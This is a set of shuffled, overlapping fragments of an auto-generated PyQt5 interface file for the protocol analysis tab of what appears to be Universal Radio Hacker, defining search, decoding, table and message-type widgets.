"self.lSearchCurrent = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSearchCurrent.sizePolicy().hasHeightForWidth()) self.lSearchCurrent.setSizePolicy(sizePolicy) self.lSearchCurrent.setStyleSheet(\"QLabel\\n\" \"{\\n\"",
"1, 1) self.btnPrevSearch = QtWidgets.QToolButton(self.frame_3) self.btnPrevSearch.setEnabled(False) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnPrevSearch.sizePolicy().hasHeightForWidth())",
"self.lTime.setObjectName(\"lTime\") self.gridLayout_2.addWidget(self.lTime, 0, 14, 1, 1) self.verticalLayout_3.addLayout(self.gridLayout_2) self.tblViewProtocol = ProtocolTableView(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding,",
"self.verticalLayout.setContentsMargins(0, 0, 0, 0) self.verticalLayout.setObjectName(\"verticalLayout\") self.horizontalLayout_2 = QtWidgets.QHBoxLayout() self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\") self.label_5 = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.label_5.setObjectName(\"label_5\")",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbShowDiffs.sizePolicy().hasHeightForWidth()) self.cbShowDiffs.setSizePolicy(sizePolicy) self.cbShowDiffs.setObjectName(\"cbShowDiffs\") self.verticalLayout.addWidget(self.cbShowDiffs) self.chkBoxShowOnlyDiffs = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) self.chkBoxShowOnlyDiffs.setObjectName(\"chkBoxShowOnlyDiffs\")",
"QtWidgets.QVBoxLayout(self.pageProgressBar) self.verticalLayout_6.setContentsMargins(0, 0, 0, 0) self.verticalLayout_6.setObjectName(\"verticalLayout_6\") self.progressBarLogicAnalyzer = QtWidgets.QProgressBar(self.pageProgressBar) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed)",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lineEditSearch.sizePolicy().hasHeightForWidth()) self.lineEditSearch.setSizePolicy(sizePolicy) self.lineEditSearch.setAcceptDrops(False) self.lineEditSearch.setClearButtonEnabled(True) self.lineEditSearch.setObjectName(\"lineEditSearch\") self.gridLayout_2.addWidget(self.lineEditSearch, 0, 0,",
"self.verticalLayout_4.setObjectName(\"verticalLayout_4\") self.splitter_2 = QtWidgets.QSplitter(self.frame_2) self.splitter_2.setOrientation(QtCore.Qt.Horizontal) self.splitter_2.setObjectName(\"splitter_2\") self.frame_4 = QtWidgets.QFrame(self.splitter_2) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbDecoding.sizePolicy().hasHeightForWidth()) self.cbDecoding.setSizePolicy(sizePolicy) self.cbDecoding.setSizeAdjustPolicy(QtWidgets.QComboBox.AdjustToContents) self.cbDecoding.setObjectName(\"cbDecoding\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\")",
"0) self.verticalLayout_5.setObjectName(\"verticalLayout_5\") self.stackedWidgetLogicAnalysis.addWidget(self.pageButtonAnalyzer) self.pageProgressBar = QtWidgets.QWidget() self.pageProgressBar.setObjectName(\"pageProgressBar\") self.verticalLayout_6 = QtWidgets.QVBoxLayout(self.pageProgressBar) self.verticalLayout_6.setContentsMargins(0, 0, 0,",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSlash.sizePolicy().hasHeightForWidth()) self.lSlash.setSizePolicy(sizePolicy) self.lSlash.setAlignment(QtCore.Qt.AlignCenter) self.lSlash.setObjectName(\"lSlash\") self.gridLayout_2.addWidget(self.lSlash, 0, 5, 1,",
"self.tblViewProtocol.setDragDropMode(QtWidgets.QAbstractItemView.DropOnly) self.tblViewProtocol.setAlternatingRowColors(True) self.tblViewProtocol.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection) self.tblViewProtocol.setTextElideMode(QtCore.Qt.ElideNone) self.tblViewProtocol.setVerticalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel) self.tblViewProtocol.setHorizontalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel) self.tblViewProtocol.setShowGrid(False) self.tblViewProtocol.setGridStyle(QtCore.Qt.NoPen) self.tblViewProtocol.setSortingEnabled(False) self.tblViewProtocol.setWordWrap(False) self.tblViewProtocol.setCornerButtonEnabled(False) self.tblViewProtocol.setObjectName(\"tblViewProtocol\") self.tblViewProtocol.horizontalHeader().setDefaultSectionSize(40)",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lHex.sizePolicy().hasHeightForWidth()) self.lHex.setSizePolicy(sizePolicy) self.lHex.setMaximumSize(QtCore.QSize(16777215, 15)) self.lHex.setObjectName(\"lHex\") self.horizontalLayout_3.addWidget(self.lHex) self.lHexSelection = QtWidgets.QLineEdit(self.frame_3)",
"0, 0, 1, 1) self.tblLabelValues = LabelValueTableView(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"font.setWeight(75) self.lblLabelValues.setFont(font) self.lblLabelValues.setAlignment(QtCore.Qt.AlignCenter) self.lblLabelValues.setObjectName(\"lblLabelValues\") self.gridLayout.addWidget(self.lblLabelValues, 0, 1, 1, 1) self.horizontalLayout = QtWidgets.QHBoxLayout() self.horizontalLayout.setObjectName(\"horizontalLayout\")",
"\"-\")) self.btnNextSearch.setText(_translate(\"FAnalysis\", \">\")) self.label_2.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Received Signal Strength Indicator</span> indicates the",
"self.horizontalLayout_3.addWidget(self.lHexSelection) self.lDecimal = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lDecimal.sizePolicy().hasHeightForWidth()) self.lDecimal.setSizePolicy(sizePolicy) self.lDecimal.setMaximumSize(QtCore.QSize(16777215,",
"0, 4, 1, 1) self.lSlash = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"sizePolicy.setHeightForWidth(self.lDecodingErrorsValue.sizePolicy().hasHeightForWidth()) self.lDecodingErrorsValue.setSizePolicy(sizePolicy) self.lDecodingErrorsValue.setObjectName(\"lDecodingErrorsValue\") self.verticalLayout.addWidget(self.lDecodingErrorsValue) self.labelDecodingState = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.labelDecodingState.setObjectName(\"labelDecodingState\") self.verticalLayout.addWidget(self.labelDecodingState) self.cbShowDiffs = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) sizePolicy",
"= QtWidgets.QCheckBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbShowDiffs.sizePolicy().hasHeightForWidth()) self.cbShowDiffs.setSizePolicy(sizePolicy) self.cbShowDiffs.setObjectName(\"cbShowDiffs\") self.verticalLayout.addWidget(self.cbShowDiffs) self.chkBoxShowOnlyDiffs",
"self.lBitsSelection = QtWidgets.QLineEdit(self.frame_3) self.lBitsSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lBitsSelection.setAcceptDrops(False) self.lBitsSelection.setReadOnly(True) self.lBitsSelection.setObjectName(\"lBitsSelection\") self.horizontalLayout_3.addWidget(self.lBitsSelection) self.lHex = QtWidgets.QLabel(self.frame_3) sizePolicy",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbProtoView.sizePolicy().hasHeightForWidth()) self.cbProtoView.setSizePolicy(sizePolicy) self.cbProtoView.setObjectName(\"cbProtoView\") self.cbProtoView.addItem(\"\") self.cbProtoView.addItem(\"\") self.cbProtoView.addItem(\"\") self.verticalLayout.addWidget(self.cbProtoView) self.cbDecoding",
"self.frame_4.setObjectName(\"frame_4\") self.verticalLayout_8 = QtWidgets.QVBoxLayout(self.frame_4) self.verticalLayout_8.setObjectName(\"verticalLayout_8\") self.scrollArea = QtWidgets.QScrollArea(self.frame_4) self.scrollArea.setWidgetResizable(True) self.scrollArea.setObjectName(\"scrollArea\") self.scrollAreaWidgetContents = QtWidgets.QWidget()",
"\"Manage your estimations for protocol fields here. To add custom field types use",
"self.horizontalLayout_3.addWidget(self.lDecimalSelection) spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem1) self.lNumSelectedColumns = QtWidgets.QLabel(self.frame_3) sizePolicy =",
"QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"list-remove\") self.btnRemoveMessagetype.setIcon(icon) self.btnRemoveMessagetype.setObjectName(\"btnRemoveMessagetype\") self.horizontalLayout.addWidget(self.btnRemoveMessagetype) self.gridLayout.addLayout(self.horizontalLayout, 1, 0, 1, 1) self.verticalLayout_2.addWidget(self.splitter)",
"\"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Message</span><span style=\\\" font-weight:600;\\\">Start</span> is the point in time when a",
"1) self.listViewLabelNames = ProtocolLabelListView(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.listViewLabelNames.sizePolicy().hasHeightForWidth()) self.listViewLabelNames.setSizePolicy(sizePolicy) self.listViewLabelNames.setAcceptDrops(False)",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lHex.sizePolicy().hasHeightForWidth()) self.lHex.setSizePolicy(sizePolicy) self.lHex.setMaximumSize(QtCore.QSize(16777215, 15)) self.lHex.setObjectName(\"lHex\") self.horizontalLayout_3.addWidget(self.lHex) self.lHexSelection = QtWidgets.QLineEdit(self.frame_3) self.lHexSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lHexSelection.setAcceptDrops(False)",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.treeViewProtocols.sizePolicy().hasHeightForWidth()) self.treeViewProtocols.setSizePolicy(sizePolicy) self.treeViewProtocols.setAcceptDrops(True) self.treeViewProtocols.setDragEnabled(True) self.treeViewProtocols.setDragDropOverwriteMode(False) self.treeViewProtocols.setDragDropMode(QtWidgets.QAbstractItemView.DragDrop) self.treeViewProtocols.setDefaultDropAction(QtCore.Qt.IgnoreAction) self.treeViewProtocols.setObjectName(\"treeViewProtocols\") self.treeViewProtocols.header().setVisible(False) self.verticalLayout.addWidget(self.treeViewProtocols) self.label_4 =",
"self.treeViewProtocols.setDefaultDropAction(QtCore.Qt.IgnoreAction) self.treeViewProtocols.setObjectName(\"treeViewProtocols\") self.treeViewProtocols.header().setVisible(False) self.verticalLayout.addWidget(self.treeViewProtocols) self.label_4 = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.label_4.setObjectName(\"label_4\") self.verticalLayout.addWidget(self.label_4) self.listViewParticipants = QtWidgets.QListView(self.scrollAreaWidgetContents) sizePolicy",
"Pattern\")) self.btnSearchSelectFilter.setText(_translate(\"FAnalysis\", \"Search\")) self.lFilterShown.setText(_translate(\"FAnalysis\", \"shown: 42/108\")) self.btnPrevSearch.setText(_translate(\"FAnalysis\", \"<\")) self.lSearchCurrent.setText(_translate(\"FAnalysis\", \"-\")) self.lSlash.setText(_translate(\"FAnalysis\", \"/\")) self.lSearchTotal.setText(_translate(\"FAnalysis\",",
"6, 1, 1) self.btnNextSearch = QtWidgets.QToolButton(self.frame_3) self.btnNextSearch.setEnabled(False) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"= QtWidgets.QWidget() self.pageButtonAnalyzer.setObjectName(\"pageButtonAnalyzer\") self.verticalLayout_5 = QtWidgets.QVBoxLayout(self.pageButtonAnalyzer) self.verticalLayout_5.setContentsMargins(0, 0, 0, 0) self.verticalLayout_5.setObjectName(\"verticalLayout_5\") self.stackedWidgetLogicAnalysis.addWidget(self.pageButtonAnalyzer) self.pageProgressBar",
"sizePolicy.setHeightForWidth(self.btnSaveProto.sizePolicy().hasHeightForWidth()) self.btnSaveProto.setSizePolicy(sizePolicy) self.btnSaveProto.setMaximumSize(QtCore.QSize(16777215, 16777215)) self.btnSaveProto.setBaseSize(QtCore.QSize(0, 0)) icon = QtGui.QIcon.fromTheme(\"document-save\") self.btnSaveProto.setIcon(icon) self.btnSaveProto.setToolButtonStyle(QtCore.Qt.ToolButtonIconOnly) self.btnSaveProto.setObjectName(\"btnSaveProto\") self.horizontalLayout_2.addWidget(self.btnSaveProto)",
"self.listViewLabelNames.setToolTip(_translate(\"FAnalysis\", \"Manage your estimations for protocol fields here. To add custom field types",
"QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSlash.sizePolicy().hasHeightForWidth()) self.lSlash.setSizePolicy(sizePolicy) self.lSlash.setAlignment(QtCore.Qt.AlignCenter) self.lSlash.setObjectName(\"lSlash\") self.gridLayout_2.addWidget(self.lSlash, 0, 5, 1, 1) self.lSearchTotal",
"= QtWidgets.QLabel(self.frame_3) self.lblRSSI.setObjectName(\"lblRSSI\") self.gridLayout_2.addWidget(self.lblRSSI, 0, 11, 1, 1) self.line_2 = QtWidgets.QFrame(self.frame_3) self.line_2.setFrameShape(QtWidgets.QFrame.VLine) self.line_2.setFrameShadow(QtWidgets.QFrame.Sunken)",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lBits.sizePolicy().hasHeightForWidth()) self.lBits.setSizePolicy(sizePolicy) self.lBits.setMaximumSize(QtCore.QSize(16777215, 15)) self.lBits.setObjectName(\"lBits\") self.horizontalLayout_3.addWidget(self.lBits) self.lBitsSelection",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lDecimal.sizePolicy().hasHeightForWidth()) self.lDecimal.setSizePolicy(sizePolicy) self.lDecimal.setMaximumSize(QtCore.QSize(16777215, 15)) self.lDecimal.setObjectName(\"lDecimal\") self.horizontalLayout_3.addWidget(self.lDecimal) self.lDecimalSelection",
"WARNING! All changes made in this file will be lost! from PyQt5 import",
"= QtWidgets.QFrame(self.splitter_2) self.frame_3.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_3.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_3.setObjectName(\"frame_3\") self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.frame_3) self.verticalLayout_3.setObjectName(\"verticalLayout_3\") self.gridLayout_2 = QtWidgets.QGridLayout() self.gridLayout_2.setObjectName(\"gridLayout_2\")",
"self.lSearchTotal.setText(_translate(\"FAnalysis\", \"-\")) self.btnNextSearch.setText(_translate(\"FAnalysis\", \">\")) self.label_2.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Received Signal Strength Indicator</span> indicates",
"type\")) self.btnMessagetypeSettings.setText(_translate(\"FAnalysis\", \"...\")) self.btnAddMessagetype.setToolTip(_translate(\"FAnalysis\", \"Add a new message type\")) self.btnAddMessagetype.setText(_translate(\"FAnalysis\", \"...\")) self.btnRemoveMessagetype.setToolTip(_translate(\"FAnalysis\", \"Delete",
"FAnalysis.setFrameShadow(QtWidgets.QFrame.Raised) FAnalysis.setLineWidth(1) FAnalysis.setMidLineWidth(0) self.verticalLayout_2 = QtWidgets.QVBoxLayout(FAnalysis) self.verticalLayout_2.setObjectName(\"verticalLayout_2\") self.splitter = QtWidgets.QSplitter(FAnalysis) self.splitter.setOrientation(QtCore.Qt.Vertical) self.splitter.setObjectName(\"splitter\") self.frame_2",
"self.listViewParticipants.setSizePolicy(sizePolicy) self.listViewParticipants.setObjectName(\"listViewParticipants\") self.verticalLayout.addWidget(self.listViewParticipants) self.cbProtoView = QtWidgets.QComboBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbProtoView.sizePolicy().hasHeightForWidth())",
"\"...\")) self.btnRemoveMessagetype.setToolTip(_translate(\"FAnalysis\", \"Delete current message type\")) self.btnRemoveMessagetype.setText(_translate(\"FAnalysis\", \"...\")) from urh.ui.views.LabelValueTableView import LabelValueTableView from",
"20)) self.lHexSelection.setAcceptDrops(False) self.lHexSelection.setReadOnly(True) self.lHexSelection.setObjectName(\"lHexSelection\") self.horizontalLayout_3.addWidget(self.lHexSelection) self.lDecimal = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0)",
"1, 1) self.btnSearchSelectFilter = QtWidgets.QToolButton(self.frame_3) self.btnSearchSelectFilter.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup) self.btnSearchSelectFilter.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly) self.btnSearchSelectFilter.setObjectName(\"btnSearchSelectFilter\") self.gridLayout_2.addWidget(self.btnSearchSelectFilter, 0, 1, 1, 1)",
"QtWidgets.QStackedWidget(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.stackedWidgetLogicAnalysis.sizePolicy().hasHeightForWidth()) self.stackedWidgetLogicAnalysis.setSizePolicy(sizePolicy) self.stackedWidgetLogicAnalysis.setObjectName(\"stackedWidgetLogicAnalysis\") self.pageButtonAnalyzer = QtWidgets.QWidget()",
"= QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"list-add\") self.btnAddMessagetype.setIcon(icon) self.btnAddMessagetype.setObjectName(\"btnAddMessagetype\") self.horizontalLayout.addWidget(self.btnAddMessagetype) self.btnRemoveMessagetype = QtWidgets.QToolButton(self.frame) icon =",
"_translate(\"FAnalysis\", \"Differential Manchester\")) self.cbDecoding.setItemText(4, _translate(\"FAnalysis\", \"...\")) self.lEncodingErrors.setText(_translate(\"FAnalysis\", \"Decoding errors for message:\")) self.lDecodingErrorsValue.setText(_translate(\"FAnalysis\", \"0",
"1, 1) self.lFilterShown = QtWidgets.QLabel(self.frame_3) self.lFilterShown.setObjectName(\"lFilterShown\") self.gridLayout_2.addWidget(self.lFilterShown, 0, 2, 1, 1) self.btnPrevSearch =",
"self.lSlash = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSlash.sizePolicy().hasHeightForWidth()) self.lSlash.setSizePolicy(sizePolicy) self.lSlash.setAlignment(QtCore.Qt.AlignCenter) self.lSlash.setObjectName(\"lSlash\")",
"in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class",
"= QtWidgets.QLineEdit(self.frame_3) self.lDecimalSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lDecimalSelection.setAcceptDrops(False) self.lDecimalSelection.setReadOnly(True) self.lDecimalSelection.setObjectName(\"lDecimalSelection\") self.horizontalLayout_3.addWidget(self.lDecimalSelection) spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding,",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSlash.sizePolicy().hasHeightForWidth()) self.lSlash.setSizePolicy(sizePolicy) self.lSlash.setAlignment(QtCore.Qt.AlignCenter) self.lSlash.setObjectName(\"lSlash\") self.gridLayout_2.addWidget(self.lSlash, 0, 5, 1, 1) self.lSearchTotal =",
"self.lTime.setSizePolicy(sizePolicy) self.lTime.setTextFormat(QtCore.Qt.PlainText) self.lTime.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lTime.setObjectName(\"lTime\") self.gridLayout_2.addWidget(self.lTime, 0, 14, 1, 1) self.verticalLayout_3.addLayout(self.gridLayout_2) self.tblViewProtocol = ProtocolTableView(self.frame_3)",
"self.gridLayout = QtWidgets.QGridLayout(self.frame) self.gridLayout.setObjectName(\"gridLayout\") self.label = QtWidgets.QLabel(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.frame_4.sizePolicy().hasHeightForWidth()) self.frame_4.setSizePolicy(sizePolicy) self.frame_4.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_4.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_4.setObjectName(\"frame_4\") self.verticalLayout_8 = QtWidgets.QVBoxLayout(self.frame_4) self.verticalLayout_8.setObjectName(\"verticalLayout_8\")",
"self.lineEditSearch.setPlaceholderText(_translate(\"FAnalysis\", \"Search Pattern\")) self.btnSearchSelectFilter.setText(_translate(\"FAnalysis\", \"Search\")) self.lFilterShown.setText(_translate(\"FAnalysis\", \"shown: 42/108\")) self.btnPrevSearch.setText(_translate(\"FAnalysis\", \"<\")) self.lSearchCurrent.setText(_translate(\"FAnalysis\", \"-\")) self.lSlash.setText(_translate(\"FAnalysis\",",
"sizePolicy.setHeightForWidth(self.progressBarLogicAnalyzer.sizePolicy().hasHeightForWidth()) self.progressBarLogicAnalyzer.setSizePolicy(sizePolicy) self.progressBarLogicAnalyzer.setProperty(\"value\", 24) self.progressBarLogicAnalyzer.setObjectName(\"progressBarLogicAnalyzer\") self.verticalLayout_6.addWidget(self.progressBarLogicAnalyzer) self.stackedWidgetLogicAnalysis.addWidget(self.pageProgressBar) self.verticalLayout.addWidget(self.stackedWidgetLogicAnalysis) self.scrollArea.setWidget(self.scrollAreaWidgetContents) self.verticalLayout_8.addWidget(self.scrollArea) self.frame_3 = QtWidgets.QFrame(self.splitter_2)",
"QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lTime.sizePolicy().hasHeightForWidth()) self.lTime.setSizePolicy(sizePolicy) self.lTime.setTextFormat(QtCore.Qt.PlainText) self.lTime.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lTime.setObjectName(\"lTime\") self.gridLayout_2.addWidget(self.lTime,",
"self.tblViewProtocol.setFrameShadow(QtWidgets.QFrame.Sunken) self.tblViewProtocol.setLineWidth(1) self.tblViewProtocol.setAutoScroll(True) self.tblViewProtocol.setDragDropMode(QtWidgets.QAbstractItemView.DropOnly) self.tblViewProtocol.setAlternatingRowColors(True) self.tblViewProtocol.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection) self.tblViewProtocol.setTextElideMode(QtCore.Qt.ElideNone) self.tblViewProtocol.setVerticalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel) self.tblViewProtocol.setHorizontalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel) self.tblViewProtocol.setShowGrid(False) self.tblViewProtocol.setGridStyle(QtCore.Qt.NoPen) self.tblViewProtocol.setSortingEnabled(False) self.tblViewProtocol.setWordWrap(False)",
"self.tblLabelValues = LabelValueTableView(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tblLabelValues.sizePolicy().hasHeightForWidth()) self.tblLabelValues.setSizePolicy(sizePolicy) self.tblLabelValues.setAlternatingRowColors(True) self.tblLabelValues.setShowGrid(False)",
"self.verticalLayout_6 = QtWidgets.QVBoxLayout(self.pageProgressBar) self.verticalLayout_6.setContentsMargins(0, 0, 0, 0) self.verticalLayout_6.setObjectName(\"verticalLayout_6\") self.progressBarLogicAnalyzer = QtWidgets.QProgressBar(self.pageProgressBar) sizePolicy =",
"self.verticalLayout_5 = QtWidgets.QVBoxLayout(self.pageButtonAnalyzer) self.verticalLayout_5.setContentsMargins(0, 0, 0, 0) self.verticalLayout_5.setObjectName(\"verticalLayout_5\") self.stackedWidgetLogicAnalysis.addWidget(self.pageButtonAnalyzer) self.pageProgressBar = QtWidgets.QWidget() self.pageProgressBar.setObjectName(\"pageProgressBar\")",
"in protocol\")) self.btnAnalyze.setText(_translate(\"FAnalysis\", \"Analyze\")) self.lineEditSearch.setPlaceholderText(_translate(\"FAnalysis\", \"Search Pattern\")) self.btnSearchSelectFilter.setText(_translate(\"FAnalysis\", \"Search\")) self.lFilterShown.setText(_translate(\"FAnalysis\", \"shown: 42/108\")) self.btnPrevSearch.setText(_translate(\"FAnalysis\",",
"self.btnPrevSearch = QtWidgets.QToolButton(self.frame_3) self.btnPrevSearch.setEnabled(False) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnPrevSearch.sizePolicy().hasHeightForWidth()) self.btnPrevSearch.setSizePolicy(sizePolicy) self.btnPrevSearch.setMaximumSize(QtCore.QSize(20,",
"self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.verticalLayout.addWidget(self.cbDecoding) self.lEncodingErrors = QtWidgets.QLabel(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0)",
"estimations for protocol fields here. To add custom field types use Rightclick ->",
"0, 1, 1, 1) self.lFilterShown = QtWidgets.QLabel(self.frame_3) self.lFilterShown.setObjectName(\"lFilterShown\") self.gridLayout_2.addWidget(self.lFilterShown, 0, 2, 1, 1)",
"15)) self.lDecimal.setObjectName(\"lDecimal\") self.horizontalLayout_3.addWidget(self.lDecimal) self.lDecimalSelection = QtWidgets.QLineEdit(self.frame_3) self.lDecimalSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lDecimalSelection.setAcceptDrops(False) self.lDecimalSelection.setReadOnly(True) self.lDecimalSelection.setObjectName(\"lDecimalSelection\") self.horizontalLayout_3.addWidget(self.lDecimalSelection) spacerItem1",
